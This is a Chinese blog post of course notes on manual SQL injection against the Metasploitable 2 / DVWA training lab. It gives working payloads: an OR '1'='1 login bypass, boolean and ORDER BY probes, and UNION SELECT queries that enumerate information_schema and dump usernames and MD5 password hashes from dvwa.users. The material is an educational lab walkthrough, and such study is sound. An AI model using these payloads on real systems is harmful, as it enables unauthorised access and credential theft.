小言_互联网的博客

1,SQL注入,查看服务器系统,拿到账号密码。

409人阅读  评论(0)

任务089:KALI版本更新(第一个ROLLING RELEASE)和手动漏洞挖掘(SQL注入)

笔记

靶机metasploitable-linux-2.0.0

  1. sql注入介绍
    服务器端程序将用户输入参数作为查询条件,直接拼接SQL语句,并将查询结果返回给客户端浏览器
    也可以控制到客户端,也可以用sql注入上发文件,sql注入也读取文件
    其实注入的都是sql语句
    1.1.原理下面是一个比如无需密码登陆
    1.1.2.这个是正常情况下 SELECT * FROM users WHERE user=‘里面是用户输入的账号 AND password=‘里面是用户输入的密码‘
    1.1.3.注入无需密码登陆SELECT * FROM users WHERE user=‘账号还是原账号’ AND password=’‘空格OR’1’=‘1’
    上面那个输入密码的地方’‘空格OR’1’='1’意思介绍,‘空密码’ OR是逻辑运算符或1=1这两个数都是真条件就满足,满足就是真,账号对密码对就登陆成功了。
    应为服务器端没有过严格的过滤导致的注入

  2. 开始实验靶机metasploitable-linux-2.0.0
    正常情况下


    2.1.基于报错的检查方法
    ‘ “ % ( )
    判断报错就能判断是否访问数据库
    输入个’发现报错了说明可能带是叫‘带入了数据库


    2.2.基于布尔的检查方式
    1’ and ‘1’=‘1 或1’ and ‘1
    1’ and ‘1’=‘2 或1’ and ‘0
    2.2.1.使用1’ and ‘1’=‘1
    发现输入可以正常显示说明

    应为1 然后 逻辑and或运算符1=1两个都是真所有可以正常显示
    下面是1=2为假数据库就报错了

    and竟然是逻辑或那没就直接可以and '1这个也是真
    发现可以正常返回正常页面

    2.3.查看sql语句查看了多少查询的字段
    查看字段可以进行进一步的的注入方法,每个查询的字段都有可能是我们注入更好的选择
    有的时候检查的有2个字段,但是字段是*的话 应为星的所有字段那么检查的时候可能会查询10几个或者是20几个
    下面那可以看到有2个字段

    这个输入输入都一样‘ order by 要查询多少个语句 –
    如果查询错了那就返回页面报错

    点击提交

    发现抱错了,抱错说明不是50个字段

    然后在9,发现也报错了,说明也不是9字段

    然后在2发现没有返回任何东西,说明是2个字段,要是1也不会返回任何东西只能是大于才进行报错

    可以用burp工具
    2.4.联合查询union 和union all
    2.4.1.union
    使用union来选择查询
    ’ union select 1,2 – ‘上面我已经知道有2个所以这个我就选择查询1到2个
    第一个’是进行给前面闭合的,后面–是注释的符号

    下面是演示叫字段显示出来

    2.4.2查询用户1’union select user(),2 –
    这个user()查询当前用户
    2还是查询2个字段

    看一下结果

    下面都是利用这2个这个字段来进行查询的
    2.4.3.查看版本
    ’ union select user() ,version() –
    version()是sql函数他是查看版本的
    看一下结果

    2.4.4.查看当前目录
    ’ union select user() ,@@datadir –
    @@datadir 是查看当前目录
    看一下结果

    2.4.5.查看目标电脑用户名
    ’ union select user() ,@@hostname –
    @@hostname是查看电脑用户名
    看一下结果

    2.4.6.查看系统
    ’ union select user() ,@@version_compile_os –
    @@version_compile_os是查看系统类型的
    看一下结果

    2.4.7.叫所有的函数放到一个字段里
    ’ union select user() ,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) –
    CONCAT_WS()是叫函数连接起来
    查看一下结果

    2.5.mysq查看linformation_schema内容
    库和表都在linformation_schema进行联合查询库库内容
    2.5.1.’ union select table_name,table_schema from information_schema.tables-- 查看 information_schema所有的内容
    第一个字段是table_name
    第二个字段是table_schema from information_schema.tables
    用的是table_schema这个字段 from是查询查询那个查询的是 information_schema
    看一下结果

    2.5.2.统计一下所有的库和表的数量
    ’ UNION select table_schema,count(*) FROM information_Schema.tables group by table_schema –

    schema是查看库然后用count(*) 来计数计算的是information_Schema的表,
    看一下结果

    我发现存在一个漏洞都可以叫所有库和表都能查出来
    2.5.3.查看DVWA库里面的表
    ’ union select table_name,table_schema from information_schema.tables where table_schema=‘dvwa’–
    在前面基础加上了where table_schema='dvwa’意思是只查dvwa库
    看一下结果
    可以看的有个users的表名里面可能放着用户密码,users是最有可能怀疑的对象

    2.5.4.查看users表里面的列
    ’ union select table_name,column_name from information_schema.columns where
    table_schema=‘dvwa’ and table_name='users’–+
    where table_schema='dvwa’在这个dvwa查看users表里都有什么列
    看一下结果
    发现了 user里面可能放着账号
    发现了password里面可能放着密码

    2.5.5.查看 user列和password列的内容
    ’ union select user,password from dvwa.users–
    user,password 查看user里的password
    dvwa.users查看dvwa里的users
    看一下结果
    可以看的列出来了的所有的用户和密码
    密码被加密了

    下面是进行解码

  3. 解密
    下面是进行解密上面的怀疑是哈希值的
    用hash-identifier工具进行看看是什么进加密的,这个工具kali自带

    发现是MD5

    创建一个a。


转载:https://blog.csdn.net/qq_41860876/article/details/101381226
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场